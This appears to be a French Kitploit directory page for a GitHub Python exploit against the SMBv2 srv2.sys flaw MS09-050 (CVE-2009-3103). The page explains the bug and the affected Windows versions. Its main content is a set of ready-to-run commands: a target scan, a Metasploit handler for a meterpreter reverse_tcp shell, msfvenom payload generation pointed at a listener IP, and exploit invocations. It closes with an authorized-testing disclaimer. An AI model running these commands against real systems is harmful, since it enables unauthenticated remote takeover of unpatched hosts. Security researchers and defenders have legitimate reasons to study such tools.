Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
MS09-050 — Exploit Python pour MS09-050 (CVE-2009-3103), débordement de tampon SMBv2 srv2.sys, avec scanner de vulnérabilité, auto-détection d'architecture et payloads de reverse shell x86/x64. | Kitploit
Outils/GitHubGitHub/bytejmp/ms09-050
Scanners de VulnérabilitésGénération de PayloadsExploitationShellcodeCollecte d'InformationsPost-ExploitationSécurité RéseauTests d'IntrusionRed TeamingOutil d'Accès à Distance
GitHubbytejmp/ms09-050

MS09-050

il y a 14h 42mPas encore vérifié

Exploit Python pour MS09-050 (CVE-2009-3103), débordement de tampon SMBv2 srv2.sys, avec scanner de vulnérabilité, auto-détection d'architecture et payloads de reverse shell x86/x64.

Voir le dépôt

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

MS09-050 — Exploit d'exécution de code à distance SMBv2

CVE-2009-3103

La vulnérabilité

Windows Vista et Server 2008 ont introduit SMBv2 avec un nouveau pilote noyau, srv2.sys. Ce pilote ne parvient pas à valider le champ Process Id High dans les requêtes de négociation SMB. En envoyant une valeur spécialement conçue dans ce champ, un attaquant amène srv2.sys à indexer dans une table de pointeurs de fonction avec une valeur contrôlée, déréférençant une adresse fournie par l'attaquant.

Le résultat est une exécution de code arbitraire en contexte noyau, sans authentification requise. L'attaquant a seulement besoin d'atteindre le port 445.

Microsoft a corrigé cette vulnérabilité en octobre 2009 (KB975517). Tout système Vista SP1/SP2 ou Server 2008 SP1 non corrigé est vulnérable.

Systèmes affectés

Système d'exploitation cibleArchitecture
Windows Vista SP1x86
Windows Vista SP2x86 / x64
Windows Server 2008 SP1x86 / x64
Windows Server 2008 SP1 (pre-R2)x64

Fonctionnalités

  • Module scanner : identifie le système d'exploitation et l'architecture de la cible via la négociation SMB, rapporte le statut de vulnérabilité
  • Détection automatique de l'architecture : le scanner transmet directement les informations d'architecture à l'exploit, sans devinette manuelle
  • Payload intégré : stager meterpreter/reverse_tcp pour x86, prêt à l'emploi avec multi/handler
  • Intégration msfvenom : générez n'importe quel payload pour n'importe quelle architecture via msfvenom, avec --msf-payload optionnel pour choisir un payload personnalisé
  • Prise en charge de shellcode personnalisé : chargez n'importe quel fichier de shellcode brut (-s)
  • Sortie structurée : [+] succès, [-] erreur, [!] avertissement, [*] information

Installation

root@kitploit:~
git clone https://github.com/bytejmp/MS09-050.git
cd MS09-050

Prérequis :

  • Python 3.6+
  • rpcclient (du paquet smbclient), utilisé pour déclencher le payload après l'injection
  • msfvenom, nécessaire uniquement si vous utilisez l'option --msfvenom

Sur Debian/Ubuntu :

root@kitploit:~
sudo apt install smbclient

Sur Arch Linux :

root@kitploit:~
sudo pacman -S smbclient

Utilisation

Scanner une cible

root@kitploit:~
python3 MS09.py scan -t 192.168.1.10

Sortie :

root@kitploit:~
[*] Scanning 192.168.1.10:445...
[+] Target 192.168.1.10 is reachable
[+] SMBv2 supported
[*] OS: Windows Vista (TM) Ultimate 6001 Service Pack 1
[*] Architecture: x86
[+] Target appears VULNERABLE to MS09-050

Exploiter avec le payload intégré (x86)

Utilise un stager meterpreter/reverse_tcp. Démarrez d'abord votre handler :

root@kitploit:~
msfconsole -q -x "use exploit/multi/handler; set payload windows/meterpreter/reverse_tcp; set LHOST 10.0.0.5; set LPORT 4444; run"

Puis lancez l'exploit :

root@kitploit:~
python3 MS09.py exploit -t 192.168.1.10 --payload -l 10.0.0.5 -p 4444

Exploiter avec msfvenom (n'importe quelle architecture/payload)

root@kitploit:~
python3 MS09.py exploit -t 192.168.1.10 --msfvenom -l 10.0.0.5 -p 4444 -a x64

Exploiter avec msfvenom (payload personnalisé)

root@kitploit:~
python3 MS09.py exploit -t 192.168.1.10 --msfvenom --msf-payload windows/meterpreter/reverse_tcp -l 10.0.0.5 -p 4444

Exploiter avec un fichier de shellcode personnalisé

Générez le shellcode brut une fois, réutilisez-le sans msfvenom :

root@kitploit:~
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.0.5 LPORT=4444 EXITFUNC=thread -f raw -o shell.bin

Puis fournissez-le à l'exploit :

root@kitploit:~
python3 MS09.py exploit -t 192.168.1.10 -s shellcode.bin -a x86

Aide complète

root@kitploit:~
$ python3 MS09.py -h

usage: MS09.py [-h] {scan,exploit} ...

MS09-050 SMBv2 Remote Code Execution Exploit (CVE-2009-3103)

positional arguments:
  {scan,exploit}  Operation mode
    scan          Scan target for MS09-050 vulnerability
    exploit       Send exploit to target

$ python3 MS09.py exploit -h

usage: MS09.py exploit [-h] -t TARGET [-P PORT] [-a {x86,x64}]
                        (--payload | --msfvenom | -s FILE)
                        [-l LHOST] [-p LPORT] [--msf-payload PAYLOAD]

options:
  -t, --target      Target IP address
  -P, --port        SMB port (default: 445)
  -a, --arch        Target architecture (auto-detected if omitted)
  --payload         Use built-in reverse shell payload (no Metasploit needed)
  --msfvenom        Generate shellcode with msfvenom
  --msf-payload     msfvenom payload (default: shell_reverse_tcp x86, x64/shell_reverse_tcp x64)
  -s, --shellcode   Path to raw shellcode file
  -l, --lhost       Listener IP address
  -p, --lport       Listener port

Structure du projet

root@kitploit:~
MS09/
├── MS09.py              # Main entry point
├── README.md
└── lib/
    ├── __init__.py
    ├── output.py        # Standardized output formatting
    ├── scanner.py       # SMBv2 vulnerability scanner
    ├── payloads.py      # Built-in shellcode (reverse TCP shell)
    └── exploit.py       # Exploit buffer construction and delivery

Comment ça fonctionne

  1. Le scanner envoie une requête Negotiate Protocol Request SMB1 pour identifier la version du système d'exploitation et l'architecture de la cible
  2. L'exploit fabrique une requête de négociation SMBv2 malformée qui provoque un débordement de tampon dans srv2.sys
  3. Un stager à hook sysenter est utilisé pour obtenir une exécution de code initiale en contexte noyau
  4. Le stager effectue une transition vers le mode utilisateur et exécute le shellcode fourni (reverse shell)
  5. rpcclient déclenche le code injecté en initiant une tentative d'authentification SMB

Références

  • CVE-2009-3103
  • Microsoft Security Bulletin MS09-050
  • SRV2.SYS SMBv2 Vulnerability Analysis

Avertissement

Cet outil est fourni uniquement à des fins de tests d'intrusion autorisés et d'éducation.

L'accès non autorisé à des systèmes informatiques est une infraction pénale dans la plupart des juridictions. Vous devez obtenir une autorisation écrite explicite du propriétaire du système avant d'utiliser cet outil contre toute cible. Les auteurs n'assument aucune responsabilité et ne sont pas responsables de toute mauvaise utilisation ou de tout dommage causé par ce logiciel.

En utilisant cet outil, vous acceptez que :

  • Vous disposez d'une autorisation écrite pour tester le système cible
  • Vous opérez dans le cadre d'une évaluation de sécurité légitime
  • Vous acceptez l'entière responsabilité de vos actions
  • Vous respecterez toutes les lois et réglementations applicables

Utilisez de manière responsable. Hackez éthiquement.

Télécharger l’outil